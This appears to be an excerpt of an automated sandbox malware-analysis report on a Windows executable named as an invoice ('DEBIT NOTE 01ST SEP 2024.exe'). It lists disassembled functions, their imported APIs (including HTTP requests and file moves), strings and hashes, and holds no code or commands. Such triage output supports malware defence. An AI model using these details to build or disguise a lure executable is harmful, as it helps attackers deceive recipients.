                                          • Instruction ID: 33c2ceff45d8cb0672f592c0823183733d26e7ad7419b63083ab10cfbc882f35
                                          • Opcode Fuzzy Hash: 67cee910062edc5350ae4d2b9d1366d6ad4b01d413104696f98c87e4c7643c1b
                                          • Instruction Fuzzy Hash: 98313EB2600204BFDB11DF69DC859AEB7A9FB9A310F00552AF905D7250E778AD40CB6C
                                          Function 0046943F Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 287COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                          • API String ID: 0-1603158881
                                          • Opcode ID: b2205c720eb57eaa9acd20c5cdad8c47631596d61f09c649adc7dd6ac6f1094b
                                          • Instruction ID: 400245e8055df5988f0e80dfbae95eacb55e3b8a933f722a5dc1e2c8929bf265
                                          • Opcode Fuzzy Hash: b2205c720eb57eaa9acd20c5cdad8c47631596d61f09c649adc7dd6ac6f1094b
                                          • Instruction Fuzzy Hash: FAA162B5800204ABDF00EF61D8C1BEA3368AF54349F58857BEC096B146EB7D6909D77A
                                          Function 004485CB Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateMenu.USER32 ref: 00448603
                                          • SetMenu.USER32(?,00000000), ref: 00448613
                                          • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00448697
                                          • IsMenu.USER32(?), ref: 004486AB
                                          • CreatePopupMenu.USER32 ref: 004486B5
                                          • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 004486EC
                                          • DrawMenuBar.USER32 ref: 004486F5
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Menu$CreateItem$DrawInfoInsertPopup
                                          • String ID: 0
                                          • API String ID: 161812096-4108050209
                                          • Opcode ID: 5f9c542d8f07ae56d95057f828c3334b95156dd137b7db0efda9360fb5a3d221
                                          • Instruction ID: 1651b4fd0bf3e4e6d8e032b2651979207be8780685d2f09cc615cc8e1c1775d8
                                          • Opcode Fuzzy Hash: 5f9c542d8f07ae56d95057f828c3334b95156dd137b7db0efda9360fb5a3d221
                                          • Instruction Fuzzy Hash: 9D418B75A01209AFEB40DF98D884ADEB7B4FF49314F10815EED189B340DB74A851CFA8
                                          Function 00434034 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 49windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetModuleHandleW.KERNEL32(00000000,004A90E8,?,00000100,?,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe), ref: 00434057
                                          • LoadStringW.USER32(00000000), ref: 00434060
                                          • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00434075
                                          • LoadStringW.USER32(00000000), ref: 00434078
                                          • _wprintf.LIBCMT ref: 004340A1
                                          • MessageBoxW.USER32(00000000,?,?,00011010), ref: 004340B9
                                          Strings
                                          • C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe, xrefs: 00434040
                                          • %s (%d) : ==> %s: %s %s, xrefs: 0043409C
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: HandleLoadModuleString$Message_wprintf
                                          • String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe
                                          • API String ID: 3648134473-716425802
                                          • Opcode ID: 5806584fae846cee426602f55e287a2c1afdddb79e6f9c87a69d5249cd46d2cb
                                          • Instruction ID: 3f99f1473d628bc1a501e0113e735bb0cc043e2cca9b2706ac47da9b95460e2a
                                          • Opcode Fuzzy Hash: 5806584fae846cee426602f55e287a2c1afdddb79e6f9c87a69d5249cd46d2cb
                                          • Instruction Fuzzy Hash: EB016CB26903187EE710E754DD06FFA376CEBC4B11F00459AB708A61C49AF469848BB5
                                          Function 0047679F Relevance: 13.8, APIs: 9, Instructions: 307COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: dfbce8e1a613c74e072c21ad89e7d3e14579d4917e2b3053f757fec35ca8a5d3
                                          • Instruction ID: 0df76164974c5272bb459d6cb57aadea20bc0786d7edd9cc69ce034119999088
                                          • Opcode Fuzzy Hash: dfbce8e1a613c74e072c21ad89e7d3e14579d4917e2b3053f757fec35ca8a5d3
                                          • Instruction Fuzzy Hash: 10A1CE726083009FD310EF65D886B5BB3E9EBC4718F108E2EF559E7281D679E804CB96
                                          Function 00453893 Relevance: 13.7, APIs: 9, Instructions: 158filestringCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00410120: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,0040F545,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,004A90E8,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,?,0040F545), ref: 0041013C
                                            • Part of subcall function 00433998: GetFileAttributesW.KERNEL32(?), ref: 0043399F
                                          • lstrcmpiW.KERNEL32(?,?), ref: 00453900
                                          • MoveFileW.KERNEL32(?,?), ref: 00453932
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: File$AttributesFullMoveNamePathlstrcmpi
                                          • String ID:
                                          • API String ID: 978794511-0
                                          • Opcode ID: e7576e1258f6bbb5b55b57ee2c4336deeb121e8720ac0ec1c8be93e036d3feb8
                                          • Instruction ID: 27746a5f3a3ee1b1e58f24b17d6851fe0efcb48f315c8e59f2eb92c6bb7fc6f1
                                          • Opcode Fuzzy Hash: e7576e1258f6bbb5b55b57ee2c4336deeb121e8720ac0ec1c8be93e036d3feb8
                                          • Instruction Fuzzy Hash: 295155B2C0021996CF20EFA1DD45BEEB379AF44305F0445DEEA0DA3101EB79AB98CB55
                                          Function 00441165 Relevance: 13.6, APIs: 9, Instructions: 142COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: dd945b6e1d8e8d9855cf24d2d3706bb91709aa24080d3beeb23df65cd9890c42
                                          • Instruction ID: 5433ce91f60fc94fc18d391a2a535eeaa569d09d9a52eba385401fd30cec28f3
                                          • Opcode Fuzzy Hash: dd945b6e1d8e8d9855cf24d2d3706bb91709aa24080d3beeb23df65cd9890c42
                                          • Instruction Fuzzy Hash: 5B41C4322142405AF3619B6DFCC4BEBBB98FBA6324F10056FF185E55A0C3EA74C58769
                                          Function 00432704 Relevance: 13.5, APIs: 9, Instructions: 42COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ClearVariant
                                          • String ID:
                                          • API String ID: 1473721057-0
                                          • Opcode ID: 3e0aaa4ed6ce8b6007e7bdda37da77eca1e161273c17b4dd860825949f7c6934
                                          • Instruction ID: 82c0e5a8bed1f7f82a0371e607e4af2e63fad7cf90771a3a9635cac59f663638
                                          • Opcode Fuzzy Hash: 3e0aaa4ed6ce8b6007e7bdda37da77eca1e161273c17b4dd860825949f7c6934
                                          • Instruction Fuzzy Hash: C301ECB6000B486AD630E7B9DC84FD7B7ED6B85600F018E1DE69A82514DA75F188CB64
                                          Function 0044F0B3 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 389COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove$_memcmp
                                          • String ID: '$\$h
                                          • API String ID: 2205784470-1303700344
                                          • Opcode ID: b142f59b2296442f2f65cbc20b4c9604eb51a9c16c8aaf0febd8f469beae5ca2
                                          • Instruction ID: e67660c870af743a7fabfec7c4e9e8b186464fd05e4f656457aecd1ba61caca8
                                          • Opcode Fuzzy Hash: b142f59b2296442f2f65cbc20b4c9604eb51a9c16c8aaf0febd8f469beae5ca2
                                          • Instruction Fuzzy Hash: 5CE1C070A002498FDB18CFA9D8806BEFBF2FF89304F28816ED84697341D778A945CB54
                                          Function 0045EA0F Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 325timeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • VariantInit.OLEAUT32(00000000), ref: 0045EA56
                                          • VariantCopy.OLEAUT32(00000000), ref: 0045EA60
                                          • VariantClear.OLEAUT32 ref: 0045EA6D
                                          • VariantTimeToSystemTime.OLEAUT32 ref: 0045EC06
                                          • __swprintf.LIBCMT ref: 0045EC33
                                          • VariantInit.OLEAUT32(00000000), ref: 0045ECEE
                                          Strings
                                          • %4d%02d%02d%02d%02d%02d, xrefs: 0045EC2D
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Variant$InitTime$ClearCopySystem__swprintf
                                          • String ID: %4d%02d%02d%02d%02d%02d
                                          • API String ID: 2441338619-1568723262
                                          • Opcode ID: 35eb9c3aeff660f135fd63a8918d5c45c4a90ea0b18b9c33d96ad8571bc730e4
                                          • Instruction ID: 6ef9d3a4897ddb850998a39013325e9d2daf595bbef4806ea59c93c68b265cd6
                                          • Opcode Fuzzy Hash: 35eb9c3aeff660f135fd63a8918d5c45c4a90ea0b18b9c33d96ad8571bc730e4
                                          • Instruction Fuzzy Hash: F8A10873A0061487CB209F5AE48066AF7B0FF84721F1485AFED849B341C736AD99D7E5
                                          Function 004091B0 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 324sleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InterlockedIncrement.KERNEL32(004A7F04), ref: 0042C659
                                          • InterlockedDecrement.KERNEL32(004A7F04), ref: 0042C677
                                          • Sleep.KERNEL32(0000000A), ref: 0042C67F
                                          • InterlockedIncrement.KERNEL32(004A7F04), ref: 0042C68A
                                          • InterlockedDecrement.KERNEL32(004A7F04), ref: 0042C73C
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Interlocked$DecrementIncrement$Sleep
                                          • String ID: @COM_EVENTOBJ
                                          • API String ID: 327565842-2228938565
                                          • Opcode ID: ca0223daa9e96e83c575322b086aef175ea6f60956e985fc72e5b4b432ff0b62
                                          • Instruction ID: 079f2a2c733a9a3e151bbe14bd9981fb61a061d6167fc58a91b905d371dd4d86
                                          • Opcode Fuzzy Hash: ca0223daa9e96e83c575322b086aef175ea6f60956e985fc72e5b4b432ff0b62
                                          • Instruction Fuzzy Hash: 18D1D271A002198FDB10EF94C985BEEB7B0FF45304F60856AE5057B392D778AE46CB98
                                          Function 0047025C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 288COMMON
                                          Download Yara Rule
                                          APIs
                                          • VariantClear.OLEAUT32(?), ref: 0047031B
                                          • VariantClear.OLEAUT32(?), ref: 0047044F
                                          • VariantInit.OLEAUT32(?), ref: 004704A3
                                          • DispCallFunc.OLEAUT32(?,?,?,00000015,?,?,?,?), ref: 00470504
                                          • VariantClear.OLEAUT32(?), ref: 00470516
                                            • Part of subcall function 00435481: VariantCopy.OLEAUT32(?,?), ref: 00435492
                                          • VariantCopy.OLEAUT32(?,?), ref: 0047057A
                                            • Part of subcall function 00435403: VariantClear.OLEAUT32(?), ref: 00435414
                                          • VariantClear.OLEAUT32(00000000), ref: 0047060D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Variant$Clear$Copy$CallDispFuncInit
                                          • String ID: H
                                          • API String ID: 3613100350-2852464175
                                          • Opcode ID: f2b9533c7a0a825d738ebca76906f6301bd96a0988b7340563647801aa66eb79
                                          • Instruction ID: 4e55d858753f5aac0b63ea9498fb9ef25a468b81cfd7169f1740116cc4944d08
                                          • Opcode Fuzzy Hash: f2b9533c7a0a825d738ebca76906f6301bd96a0988b7340563647801aa66eb79
                                          • Instruction Fuzzy Hash: 93B15BB5605311EFD710DF54C880A6BB3A4FF88308F049A2EFA8997351D738E951CB9A
                                          Function 00401CB0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 240COMMON
                                          Download Yara Rule
                                          APIs
                                          • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D06
                                          • DestroyWindow.USER32(?), ref: 00426F50
                                          • UnregisterHotKey.USER32(?), ref: 00426F77
                                          • FreeLibrary.KERNEL32(?), ref: 0042701F
                                          • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00427050
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
                                          • String ID: close all
                                          • API String ID: 4174999648-3243417748
                                          • Opcode ID: 4fd900de9a28da208b58a3ba22ecdd4c26f042792ef41b4fe823b5ed5eb78ac9
                                          • Instruction ID: 89fc9d45334329c88beddca7a6314a06ce6e15860ee53b488cbf8147960762b2
                                          • Opcode Fuzzy Hash: 4fd900de9a28da208b58a3ba22ecdd4c26f042792ef41b4fe823b5ed5eb78ac9
                                          • Instruction Fuzzy Hash: 9BA1C174710212CFC710EF15C985B5AF3A8BF48304F5045AEE909672A2CB78BD96CF99
                                          Function 0044AA86 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 174networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AAC5
                                          • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AAFA
                                          • InternetQueryOptionW.WININET(00000000,0000001F,00000000,00001000), ref: 0044AB5E
                                          • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0044AB74
                                          • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB83
                                          • HttpQueryInfoW.WININET(00000000,00000005,?,00001000,00000000), ref: 0044ABBB
                                            • Part of subcall function 004422CB: GetLastError.KERNEL32 ref: 004422E1
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                                          • String ID:
                                          • API String ID: 1291720006-3916222277
                                          • Opcode ID: 91fdcc8e85295173cca015a6521aec32459a41892940df1d160b2f6c73229ea3
                                          • Instruction ID: 89538bfc19842651326e528327905a39262a83d8aa3acd63c003c629d13479a9
                                          • Opcode Fuzzy Hash: 91fdcc8e85295173cca015a6521aec32459a41892940df1d160b2f6c73229ea3
                                          • Instruction Fuzzy Hash: FA51B1756403087BF710DF56DC86FEBB7A8FB88715F00851EFB0196281D7B8A5148BA8
                                          Function 0045FBAC Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 147windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetMenuItemInfoW.USER32(?,FFFFFFFF,00000000,00000030), ref: 0045FC48
                                          • IsMenu.USER32(?), ref: 0045FC5F
                                          • CreatePopupMenu.USER32 ref: 0045FC97
                                          • GetMenuItemCount.USER32(?), ref: 0045FCFD
                                          • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0045FD26
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Menu$Item$CountCreateInfoInsertPopup
                                          • String ID: 0$2
                                          • API String ID: 93392585-3793063076
                                          • Opcode ID: f01c363b391305104942df3bb39f3e86dedaf87795108832ec1df4cdc4019c53
                                          • Instruction ID: a5f6d3c146e885c54ead74f35c39eec4acd60bc9fc93d28bc39e3d14768ea649
                                          • Opcode Fuzzy Hash: f01c363b391305104942df3bb39f3e86dedaf87795108832ec1df4cdc4019c53
